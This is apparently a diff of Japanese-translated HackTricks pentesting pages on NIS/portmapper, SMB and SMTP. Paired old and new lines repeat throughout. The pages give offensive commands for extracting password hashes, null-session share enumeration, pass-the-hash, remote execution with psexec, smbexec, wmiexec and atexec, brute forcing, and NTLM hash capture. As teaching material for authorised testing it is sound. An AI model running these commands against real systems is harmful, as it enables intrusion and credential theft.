の旅は、必要なパッケージのインストール(`apt-get install nis`)から始まります。次のステップでは、`ypwhich`を使用して、ドメイン名とサーバーIPでpingを送り、NISサーバーの存在を確認します。これらの要素はセキュリティのために匿名化されることを確認します
の旅は、必要なパッケージのインストール(`apt-get install nis`)から始まります。次のステップでは、`ypwhich`を使用して、ドメイン名とサーバーIPでpingを送り、NISサーバーの存在を確認します。これらの要素はセキュリティのために匿名化されることを確認してください
最後の重要なステップは、`ypcat`コマンドを使用して、特に暗号化されたユーザーパスワードなどの機密データを抽出することです。これらのハッシュは、**John the Ripper**のようなツールを使用して解読されると、システムアクセスや権限に関する洞察を明らかにします。
```bash
@ -64,7 +64,7 @@ ypcat d <domain-name> h <server-ip> passwd.byname
![](<../images/image (1041).png>)
ボックスのユーザーを列挙することができます。方法を学ぶには[1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md)を参照してください。
ボックスのユーザーを列挙できます。方法を学ぶには[1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md)を参照してください。
## フィルタリングされたポートマッパーポートのバイパス
@ -90,7 +90,7 @@ Description: Notes for PortMapper
Note: |
Portmapper is a service that is utilized for mapping network service ports to RPC (Remote Procedure Call) program numbers. It acts as a critical component in Unix-based systems, facilitating the exchange of information between these systems. The port associated with Portmapper is frequently scanned by attackers as it can reveal valuable information. This information includes the type of Unix Operating System (OS) running and details about the services that are available on the system. Additionally, Portmapper is commonly used in conjunction with NFS (Network File System), NIS (Network Information Service), and other RPC-based services to manage network services effectively.
https://book.hacktricks.xyz/pentesting/pentesting-rpcbind
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rpcbind.html
Entry_2:
Name: rpc info

View File

@ -8,23 +8,23 @@ _**ネットワーク基本入出力システム**_** (NetBIOS)** は、アプ
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## ポート 445
## Port 445
技術的には、ポート 139 は「NBT over IP」と呼ばれ、ポート 445 は「SMB over IP」として識別されます。略語 **SMB** は「**Server Message Blocks**」の略で、現代では **Common Internet File System (CIFS)** としても知られています。アプリケーション層のネットワークプロトコルとして、SMB/CIFS は主にファイル、プリンター、シリアルポートへの共有アクセスを可能にし、ネットワーク上のノード間のさまざまな通信形態を促進するために利用されます。
技術的には、ポート139は「NBT over IP」と呼ばれ、ポート445は「SMB over IP」と識別されます。略語**SMB**は「**Server Message Blocks**」の略で、現代では**Common Internet File System (CIFS)**としても知られています。アプリケーション層のネットワークプロトコルとして、SMB/CIFSは主にファイル、プリンター、シリアルポートへの共有アクセスを可能にし、ネットワーク上のード間のさまざまな通信形態を促進するために利用されます。
例えば、Windows の文脈では、SMB TCP/IP 上で直接動作できることが強調されており、ポート 445 を利用することで TCP/IP 上の NetBIOS の必要性が排除されます。逆に、異なるシステムではポート 139 の使用が観察され、SMB TCP/IP 上の NetBIOS と共に実行されていることを示しています。
例えば、Windowsの文脈では、SMBはTCP/IP上で直接動作できることが強調されており、ポート445を利用することでTCP/IP上のNetBIOSの必要性が排除されます。逆に、異なるシステムではポート139の使用が観察され、SMBがTCP/IP上のNetBIOSと共に実行されていることを示しています。
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
**Server Message Block (SMB)**プロトコルは、**クライアント-サーバー**モデルで動作し、**ファイル**、ディレクトリ、およびプリンタやルータなどの他のネットワークリソースへの**アクセス**を制するために設計されています。主に**Windows**オペレーティングシステムシリーズ内で利用され、SMBは後方互換性を確保し、新しいバージョンのMicrosoftオペレーティングシステムを実行しているデバイスが古いバージョンのデバイスとシームレスに相互作用できるようにします。さらに、**Samba**プロジェクトは、**Linux**およびUnixシステムでのSMBの実装を可能にする無料ソフトウェアソリューションを提供し、SMBを通じたクロスプラットフォーム通信を促進します。
**Server Message Block (SMB)**プロトコルは、**クライアント-サーバー**モデルで動作し、**ファイル**、ディレクトリ、およびプリンタやルータなどの他のネットワークリソースへの**アクセス**を制するために設計されています。主に**Windows**オペレーティングシステムシリーズ内で利用されるSMBは、後方互換性を確保し、Microsoftのオペレーティングシステムの新しいバージョンを実行しているデバイスが古いバージョンを実行しているデバイスとシームレスに相互作用できるようにします。さらに、**Samba**プロジェクトは、SMBを**Linux**およびUnixシステムで実装するための無料ソフトウェアソリューションを提供し、SMBを通じたクロスプラットフォーム通信を促進します。
**ローカルファイルシステムの任意の部分**を表す共有は、SMBサーバーによって提供され、クライアントに対してサーバーの実際の構造とは部分的に**独立した**階層を表示します。**アクセス制御リスト (ACL)**は、**アクセス権**を定義し、**`execute`**、**`read`**、および**`full access`**などの属性を含むユーザー権限に対する**細かい制御**を可能にします。これらの権限は、共有に基づいて個々のユーザーまたはグループに割り当てることができ、サーバー上のローカル権限とは異なります。
### IPC$ Share
IPC$共有へのアクセスは、匿名のヌルセッションを通じて取得でき、名前付きパイプを介して公開されたサービスとの相互作用を可能にします。この目的には、ユーティリティ`enum4linux`が便利です。適切に利用することで、次の情報を取得できます:
IPC$共有へのアクセスは、匿名のヌルセッションを通じて取得でき、名前付きパイプを介して公開されたサービスと相互作用することができます。この目的には、ユーティリティ`enum4linux`が便利です。適切に利用することで、次の情報を取得できます:
- オペレーティングシステムに関する情報
- 親ドメインの詳細
@ -32,7 +32,7 @@ IPC$共有へのアクセスは、匿名のヌルセッションを通じて取
- 利用可能なSMB共有に関する情報
- 有効なシステムセキュリティポリシー
この機能は、ネットワーク管理者やセキュリティ専門家がネットワーク上のSMB (Server Message Block)サービスのセキュリティ姿勢を評価するために重要です。`enum4linux`は、ターゲットシステムのSMB環境の包括的なビューを提供し、潜在的な脆弱性を特定し、SMBサービスが適切に保護されていることを確認するために不可欠です。
この機能は、ネットワーク管理者やセキュリティ専門家がネットワーク上のSMBServer Message Blockサービスのセキュリティ姿勢を評価するために重要です。`enum4linux`は、ターゲットシステムのSMB環境の包括的なビューを提供し、潜在的な脆弱性を特定し、SMBサービスが適切に保護されていることを確認するために不可欠です。
```bash
enum4linux -a target_ip
```
@ -40,7 +40,7 @@ enum4linux -a target_ip
## NTLMとは
NTLMが何であるか知らない場合や、その仕組みや悪用方法を知りたい場合は、**NTLM**に関するこのページが非常に興味深いでしょう。ここでは**このプロトコルの仕組みとそれを利用する方法**が説明されています。
NTLMが何であるか知らない場合や、その仕組みや悪用方法を知りたい場合は、**NTLM**に関するこのページが非常に興味深いでしょう。ここでは**このプロトコルの仕組みと、それを利用する方法が説明されています:**
{{#ref}}
../windows-hardening/ntlm/
@ -48,13 +48,13 @@ NTLMが何であるか知らない場合や、その仕組みや悪用方法を
## **サーバー列挙**
### **ホストを検索するために**ネットワークをスキャンする:
### **ホストを検索するために**ネットワークをスキャンする
```bash
nbtscan -r 192.168.0.1/24
```
### SMBサーバーバージョン
SMBバージョンの可能なエクスプロイトを探すには、どのバージョンが使用されているかを知ることが重要です。この情報が他の使用されているツールに表示されない場合、次のことができます
SMBバージョンの可能なエクスプロイトを探すには、どのバージョンが使用されているかを知ることが重要です。この情報が他の使用されているツールに表示されない場合、次のことができます:
- **MSF**補助モジュール\_**auxiliary/scanner/smb/smb_version**を使用する
- またはこのスクリプトを使用する:
@ -74,7 +74,7 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **エクスプロイトを検索**
### **検索エクスプロイト**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
@ -169,7 +169,7 @@ pentesting-smb/rpcclient-enumeration.md
### 共有フォルダのリスト
アクセスできるものがないか確認することを常にお勧めします。資格情報がない場合は、**null** **資格情報/ゲストユーザー**を使用してみてください。
アクセスできるものがないか常に確認することをお勧めします。資格情報がない場合は、**null** **資格情報/ゲストユーザー**を使用してみてください。
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
```
### **手動でWindows共有を列挙し、接続する**
ホストマシンの共有を表示することが制限されている可能性があり、リストを表示しようとすると接続できる共有がないように見えることがあります。そのため、共有に手動で接続してみる価値があるかもしれません。共有を手動で列挙するには、有効なセッション(例:ヌルセッションまたは有効な資格情報)を使用しているときに、NT_STATUS_ACCESS_DENIEDやNT_STATUS_BAD_NETWORK_NAMEのような応答を探すと良いでしょう。これらは、共有が存在するがアクセスできないか、共有がまったく存在しないことを示す可能性があります。
ホストマシンの共有を表示することが制限されている可能性があり、リストを表示しようとすると接続できる共有がないように見えることがあります。そのため、共有に手動で接続してみる価値があるかもしれません。共有を手動で列挙するには、有効なセッションヌルセッションまたは有効な資格情報を使用して、NT_STATUS_ACCESS_DENIEDやNT_STATUS_BAD_NETWORK_NAMEのような応答を探すと良いでしょう。これらは、共有が存在し、アクセスできないか、共有がまったく存在しないことを示す可能性があります。
Windowsターゲットの一般的な共有名は次のとおりです。
@ -239,7 +239,7 @@ done
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Windowsからの共有を列挙する / サードパーティツールなしで**
### **Windowsからの共有の列挙 / サードパーティツールなし**
PowerShell
```powershell
@ -258,14 +258,14 @@ net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
```
MMC スナップイン (グラフィカル)
MMCスナップイン(グラフィカル)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (グラフィカル)`\\<ip>\` を入力して、利用可能な非隠し共有を表示します。
explorer.exe (グラフィカル)`\\<ip>\` を入力して、利用可能な非隠し共有を表示します。
### 共有フォルダーをマウントする
```bash
@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **ファイルのダウンロード**
資格情報/Pass-the-Hashで接続する方法については、前のセクションを参照してください。
資格情報/パス・ザ・ハッシュで接続する方法については、前のセクションを参照してください。
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -291,9 +291,9 @@ smbclient //<IP>/<share>
```
コマンド:
- mask: ディレクトリ内のファイルをフィルタリングするために使用されるマスクを指定します (例: "" すべてのファイル)
- recurse: 再帰をオンに切り替えます (デフォルト: オフ)
- prompt: ファイル名のプロンプトをオフに切り替えます (デフォルト: オン)
- mask: ディレクトリ内のファイルをフィルタリングするために使用されるマスクを指定します(例: "" すべてのファイル)
- recurse: 再帰をオンに切り替えます(デフォルト: オフ)
- prompt: ファイル名のプロンプトをオフに切り替えます(デフォルト: オン)
- mget: ホストからクライアントマシンにマスクに一致するすべてのファイルをコピーします
(_smbclientのmanページからの情報_)
@ -313,12 +313,12 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De
特に興味深いのは、**`Registry.xml`** というファイルで、これは **autologon** を使用して構成されたユーザーの **パスワード** を含む可能性があります。また、**`web.config`** ファイルも **資格情報** を含んでいます。
> [!NOTE]
> **SYSVOL シェア** は、ドメイン内のすべての認証されたユーザーによって **読み取り可能** です。そこには、さまざまなバッチ、VBScript、および PowerShell **スクリプト****見つかる** かもしれません。\
> その中の **スクリプト****確認** するべきで、**パスワード** などの機密情報を **見つける** かもしれません
> **SYSVOL シェア** は、ドメイン内のすべての認証されたユーザーによって **読み取り可能** です。そこには、多くの異なるバッチ、VBScript、および PowerShell **スクリプト** が存在するかもしれません。\
> その中の **スクリプト****確認** するべきで、**パスワード** などの機密情報を **見つける** 可能性があります
## レジストリの読み取り
発見した資格情報を使用して **レジストリを読み取る** ことができるかもしれません。Impacket **`reg.py`** を使用して試すことができます
発見した資格情報を使用して **レジストリを読み取る** ことができるかもしれません。Impacket **`reg.py`** を使用して試すことができます
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
crackmapexecは、**mmcexec、smbexec、atexec、wmiexec**のいずれかを**悪用して**コマンドを実行できます。**wmiexec**が**デフォルト**の方法です。使用したいオプションを`--exec-method`パラメータで指定できます:
crackmapexecは、**wmiexec**が**デフォルト**の方法である**mmcexec、smbexec、atexec、wmiexec**のいずれかを**悪用**してコマンドを実行できます。使用したいオプションを`--exec-method`パラメータで指定できます:
```bash
apt-get install crackmapexec
@ -378,8 +378,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
両方のオプションは、**新しいサービスを作成します**SMB経由で _\pipe\svcctl_ を使用)被害者のマシンで、これを使用して**何かを実行します****psexec**は**実行可能ファイルをADMIN$共有にアップロードし、**smbexec**は**cmd.exe/powershell.exe**を指し、引数にペイロードを入れます --**ファイルレス技術-**-)。\
**詳細情報**は[**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)と[**smbexec**](../windows-hardening/ntlm/smbexec.md)について。\
両方のオプションは、被害者のマシンに**新しいサービスを作成**しSMB経由で_\pipe\svcctl_を使用、それを使用して**何かを実行**します(**psexec**は実行可能ファイルをADMIN$共有に**アップロード**し、**smbexec**は**cmd.exe/powershell.exe**を指し、引数にペイロードを入れます --**ファイルレス技術-**-)。\
**詳細情報**は[**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)と[**smbexec**](../windows-hardening/ntlm/smbexec.md)を参照してください。\
**kali**では、/usr/share/doc/python3-impacket/examples/にあります。
```bash
#If no password is provided, it will be prompted
@ -388,7 +388,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
**パラメーター**`-k`を使用すると、**kerberos**に対して認証できます。
**パラメーター**`-k`を使用すると、**kerberos**に対して認証できます。代わりに**NTLM**を使用します。
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
@ -409,17 +409,17 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
```
### [AtExec](../windows-hardening/ntlm/atexec.md)
SMBを介してタスクスケジューラを使用してコマンドを実行します_\pipe\atsvc_を使用。\
**kali**では、/usr/share/doc/python3-impacket/examples/にあります。
SMBを介してタスクスケジューラを使用してコマンドを実行します (_\pipe\atsvc_ を使用)。\
**kali** では /usr/share/doc/python3-impacket/examples/ にあります。
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
## Impacket 参照
## Impacket reference
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **ユーザー資格情報のブルートフォース**
## **ユーザーの資格情報をブルートフォース攻撃する**
**これは推奨されません。最大許可試行回数を超えるとアカウントがブロックされる可能性があります**
```bash
@ -452,7 +452,7 @@ WindowsライブラリURLMon.dllは、ページがSMBを介してコンテンツ
## NTLM窃盗
SMBトラッピングに似て、ターゲットシステムに悪意のあるファイルを植え付ける例えばSMB経由でことで、SMB認証の試行を引き起こし、NetNTLMv2ハッシュをResponderのようなツールで傍受することができます。ハッシュはオフラインでクラックするか、[SMBリレー攻撃](pentesting-smb.md#smb-relay-attack)に使用できます。
SMBトラッピングに似て、ターゲットシステムに悪意のあるファイルを植え付ける例えばSMBを介しては、SMB認証の試行を引き起こす可能性があり、NetNTLMv2ハッシュをResponderのようなツールで傍受することができます。ハッシュはオフラインでクラックするか、[SMBリレー攻撃](pentesting-smb.md#smb-relay-attack)に使用できます。
[参照: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux

View File

@ -4,7 +4,7 @@
## **ポート 139**
_**ネットワーク基本入出力システム**_\*\* (NetBIOS)\*\* は、アプリケーション、PC、およびデスクトップがローカルエリアネットワーク (LAN) 内でネットワークハードウェアと相互作用し、**ネットワークを介したデータの送信を促進する**ために設計されたソフトウェアプロトコルです。NetBIOSネットワーク上で動作するソフトウェアアプリケーションの識別と位置特定は、最大16文字の長さを持ち、コンピュータ名とは異なることが多いNetBIOS名を通じて行われます。2つのアプリケーション間のNetBIOSセッションは、1つのアプリケーションクライアントとして機能が**TCPポート139**を利用して別のアプリケーション(サーバーとして機能)を「呼び出す」コマンドを発行することで開始されます。
_**ネットワーク基本入出力システム**_\*\* (NetBIOS)\*\* は、アプリケーション、PC、およびデスクトップがローカルエリアネットワーク (LAN) 内でネットワークハードウェアと相互作用し、**ネットワークを介したデータの送信を促進する**ために設計されたソフトウェアプロトコルです。NetBIOSネットワーク上で動作するソフトウェアアプリケーションの識別と位置特定は、最大16文字の長さを持ち、コンピュータ名とは異なることが多いNetBIOS名を通じて行われます。2つのアプリケーション間のNetBIOSセッションは、1つのアプリケーションクライアントとして機能が**TCPポート139**を利用して別のアプリケーション(サーバーとして機能)を「呼び出す」コマンドを発行することで開始されます。
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
@ -24,7 +24,7 @@ _**ネットワーク基本入出力システム**_\*\* (NetBIOS)\*\* は、ア
### IPC$ Share
IPC$共有へのアクセスは、匿名のヌルセッションを通じて取得でき、名前付きパイプを介して公開されたサービスとの相互作用を可能にします。この目的には、ユーティリティ`enum4linux`が便利です。適切に利用すれば、次の情報を取得できます:
IPC$共有へのアクセスは、匿名のヌルセッションを通じて取得でき、名前付きパイプを介して公開されたサービスとの相互作用を可能にします。この目的には、ユーティリティ`enum4linux`が便利です。適切に利用することで、以下の情報を取得できます:
- オペレーティングシステムに関する情報
- 親ドメインの詳細
@ -74,7 +74,7 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **エクスプロイトを検索**
### **検索エクスプロイト**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
@ -97,7 +97,7 @@ searchsploit microsoft smb
### SMB 環境情報
### 情報の取得
### 情報を取得する
```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
@ -161,7 +161,7 @@ rpcclient-enumeration.md
`xdg-open smb://cascade.htb/`
#### ファイルブラウザウィンドウnautilus, thunarなど
#### ファイルブラウザウィンドウnautilus, thunarなど
`smb://friendzone.htb/general/`
@ -239,7 +239,7 @@ done
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Windowsからの共有を列挙する / サードパーティツールなし**
### **Windowsからの共有を列挙する / サードパーティツールなし**
PowerShell
```powershell
@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **ファイルをダウンロード**
資格情報/Pass-the-Hashで接続する方法については、前のセクションを参照してください。
前のセクションを読んで、資格情報/パス・ザ・ハッシュで接続する方法を学んでください。
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -314,11 +314,11 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De
> [!NOTE]
> **SYSVOL share** は、ドメイン内のすべての認証ユーザーによって **読み取り可能** です。そこには、さまざまなバッチ、VBScript、および PowerShell **スクリプト****見つかる** かもしれません。\
> その中の **スクリプト****確認** するべきで、**パスワード** などの機密情報を **見つける** かもしれません
> その中の **スクリプト****確認** するべきで、**パスワード** などの機密情報を **見つける** 可能性があります
## レジストリの読み取り
発見した認証情報を使用して **レジストリを読み取る** ことができるかもしれません。Impacket **`reg.py`** を使用して試すことができます
発見した認証情報を使用して **レジストリを読み取る** ことができるかもしれません。Impacket **`reg.py`** を使用して試すことができます:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -378,8 +378,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
両方のオプションは、**新しいサービスを作成します**SMB経由で _\pipe\svcctl_ を使用)被害者のマシンで、これを使用して**何かを実行します****psexec**は**実行可能ファイルをADMIN$共有にアップロードし、**smbexec**は**cmd.exe/powershell.exe**を指し、引数にペイロードを入れます --**ファイルレス技術-**-)。\
**詳細情報**は[**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)と[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)を参照してください。\
両方のオプションは、**新しいサービスを作成します**SMB経由で_\pipe\svcctl_を使用被害者のマシンで、これを使用して**何かを実行します****psexec**は**実行可能ファイルをADMIN$共有にアップロードし、**smbexec**は**cmd.exe/powershell.exe**を指し、引数にペイロードを入れます --**ファイルレス技術-**-)。\
**詳細情報**は[**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)と[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)について。\
**kali**では、/usr/share/doc/python3-impacket/examples/にあります。
```bash
#If no password is provided, it will be prompted
@ -388,11 +388,11 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
**パラメーター**`-k`を使用すると、**kerberos**に対して認証できます。
**パラメータ**`-k`を使用すると、**NTLM**の代わりに**kerberos**で認証できます。
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
ディスクに触れず、新しいサービスを実行せずに、**ポート135**を介してDCOMを使用してコマンドシェルを stealthily 実行します。\
ディスクに触れず、新しいサービスを実行することなく、**ポート135**を介してDCOMを使用してコマンドシェルを stealthily 実行します。\
**kali**では、/usr/share/doc/python3-impacket/examples/にあります。
```bash
#If no password is provided, it will be prompted
@ -442,7 +442,7 @@ WindowsライブラリURLMon.dllは、ページがSMBを介してコンテンツ
- URLOpenStream
- URLOpenBlockingStream
これらは一部のブラウザやツールSkypeなどによって使用されます。
これらは一部のブラウザやツールSkypeなど使用されます。
![出典: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux

View File

@ -4,9 +4,9 @@
## **基本情報**
**Simple Mail Transfer Protocol (SMTP)** は、**電子メールの送受信**に使用されるTCP/IPスイート内のプロトコルです。受信者側でメッセージをキューイングする際の制限から、SMTPはしばしば**POP3またはIMAP**と一緒に使用されます。これらの追加プロトコルは、ユーザーがサーバーメールボックスにメッセージを保存し、定期的にダウンロードすることを可能にします。
**Simple Mail Transfer Protocol (SMTP)** は、**電子メールの送受信**に使用されるTCP/IPスイート内のプロトコルです。受信者側でのメッセージのキューイングに制限があるため、SMTPはしばしば**POP3またはIMAP**と一緒に使用されます。これらの追加プロトコルは、ユーザーがサーバーメールボックスにメッセージを保存し、定期的にダウンロードすることを可能にします。
実際には、**電子メールプログラム**が**電子メールの送信にSMTPを使用し**、**受信にはPOP3またはIMAPを利用する**ことが一般的です。Unixベースのシステムでは、**sendmail**が電子メール目的で最も頻繁に使用されるSMTPサーバーとして際立っています。商業パッケージであるSendmailにはPOP3サーバーが含まれています。さらに、**Microsoft Exchange**はSMTPサーバーを提供し、POP3サポートを含めるオプションを提供します。
実際には、**電子メールプログラム**が**電子メールの送信にSMTPを使用し**、**受信にはPOP3またはIMAPを利用する**ことが一般的です。Unixベースのシステムでは、**sendmail**が電子メール目的で最も頻繁に使用されるSMTPサーバーとして際立っています。商用パッケージであるSendmailは、POP3サーバーを含んでいます。さらに、**Microsoft Exchange**はSMTPサーバーを提供し、POP3サポートを含めるオプションを提供しています。
**デフォルトポート:** 25,465(ssl),587(ssl)
```
@ -15,13 +15,13 @@ PORT STATE SERVICE REASON VERSION
```
### EMAIL Headers
もし**被害者にメールを送信させる機会がある**(例えば、ウェブページのコンタクトフォームを通じて)、それを行ってください。なぜなら、**メールのヘッダーを見て被害者の内部トポロジーについて学ぶことができる**からです。
もし**被害者にメールを送信させる機会がある**場合(例えば、ウェブページのコンタクトフォームを通じて)、それを行ってください。なぜなら、**メールのヘッダーを見て被害者の内部トポロジーについて学ぶことができるからです**
また、**存在しないアドレスにメールをそのサーバーに送信しようとする**ことでSMTPサーバーからメールを取得することもできますサーバーは攻撃者にNDNメールを送信します。ただし、許可されたアドレスからメールを送信しSPFポリシーを確認、NDNメッセージを受信できることを確認してください。
また、**存在しないアドレスにメールを送信しようとすることでSMTPサーバーからメールを取得する**こともできますサーバーは攻撃者にNDNメールを送信します。ただし、許可されたアドレスからメールを送信しSPFポリシーを確認、NDNメッセージを受信できることを確認してください。
また、**異なる内容を送信しようとするべきです。なぜなら、ヘッダーにより興味深い情報を見つけることができる**からです。例えば: `X-Virus-Scanned: by av.domain.com`\
**異なる内容を送信することも試みるべきです。なぜなら、ヘッダーにより興味深い情報を見つけることができるからです**。例えば:`X-Virus-Scanned: by av.domain.com`\
EICARテストファイルを送信するべきです。\
**AV**を検出することで、**既知の脆弱性を悪用する**ことができるかもしれません。
**AV**を検出することで、**既知の脆弱性を悪用する**ことが可能になるかもしれません。
## Basic actions
@ -58,11 +58,11 @@ NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
```
または **nmap** プラグイン `smtp-ntlm-info.nse` を使用して **自動化** します。
Or **automate** this with **nmap** plugin `smtp-ntlm-info.nse`
### 内部サーバー名 - 情報漏洩
### Internal server name - Information disclosure
一部のSMTPサーバーは、コマンド "MAIL FROM" が完全なアドレスなしで発行されると、送信者のアドレスを自動的に補完し、内部名を開示します:
一部のSMTPサーバーは、完全なアドレスなしでコマンド「MAIL FROM」が発行されると、送信者のアドレスを自動補完し、内部名を開示します:
```
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
@ -150,7 +150,7 @@ Nmap: nmap --script smtp-enum-users <IP>
```
## DSNレポート
**配信状況通知レポート**: 組織に**無効なアドレス**に**メール**を送信すると、その組織はアドレスが無効であることを通知し、**あなたにメールを返送**します。返送されたメールの**ヘッダー**には、可能な**機密情報**レポートとやり取りしたメールサービスのIPアドレスやアンチウイルスソフトウェアの情報などが**含まれます**。
**配信状況通知レポート**: 組織に**無効なアドレス**に**メール**を送信すると、組織はそのアドレスが無効であることを**あなたにメールを返送する**ことで通知します。返送されたメールの**ヘッダー**には、可能な**機密情報**レポートとやり取りしたメールサービスのIPアドレスやアンチウイルスソフトウェアの情報などが**含まれます**。
## [コマンド](smtp-commands.md)
@ -217,9 +217,9 @@ print("[***]successfully sent email to %s:" % (msg['To']))
```
</details>
## SMTPスムーギング
## SMTP スマグリング
SMTPスムーギングの脆弱性により、すべてのSMTP保護をバイパスすることが可能でした保護に関する詳細は次のセクションを参照してください。SMTPスムーギングの詳細については、以下を確認してください:
SMTP スマグリングの脆弱性により、すべての SMTP 保護をバイパスすることが可能でした保護に関する詳細は次のセクションを参照してください。SMTP スマグリングの詳細については、次を確認してください:
{{#ref}}
smtp-smuggling.md
@ -227,47 +227,47 @@ smtp-smuggling.md
## メールスプーフィング対策
